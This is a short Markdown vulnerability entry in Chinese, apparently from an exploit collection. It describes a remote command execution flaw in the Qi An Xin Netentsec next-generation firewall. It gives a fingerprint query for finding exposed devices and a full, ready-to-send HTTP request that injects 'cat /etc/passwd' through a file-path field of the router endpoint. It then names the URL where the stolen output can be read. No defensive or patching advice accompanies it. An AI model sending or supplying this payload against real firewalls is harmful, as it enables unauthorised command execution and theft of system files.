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51 lines
1.3 KiB
Markdown
51 lines
1.3 KiB
Markdown
# 奇安信网康 下一代防火墙 router 远程命令执行漏洞
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## 漏洞描述
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奇安信 网康下一代防火墙存在远程命令执行，通过漏洞攻击者可以获取服务器权限
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## 漏洞影响
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```
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奇安信 网康下一代防火墙
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```
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## 网络测绘
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```
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app="网康科技-下一代防火墙"
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```
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## 漏洞复现
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登录页面如下
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发送如下请求包
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```plain
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POST /directdata/direct/router HTTP/1.1
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Host: XXX.XXX.XXX.XXX
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Connection: close
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Content-Length: 179
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Cache-Control: max-age=0
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sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
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sec-ch-ua-mobile: ?0
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Content-Type: application/json
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
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```
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再请求获取命令执行结果
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```plain
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http://xxx.xxx.xxx.xxxx/test_cmd.txt
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```
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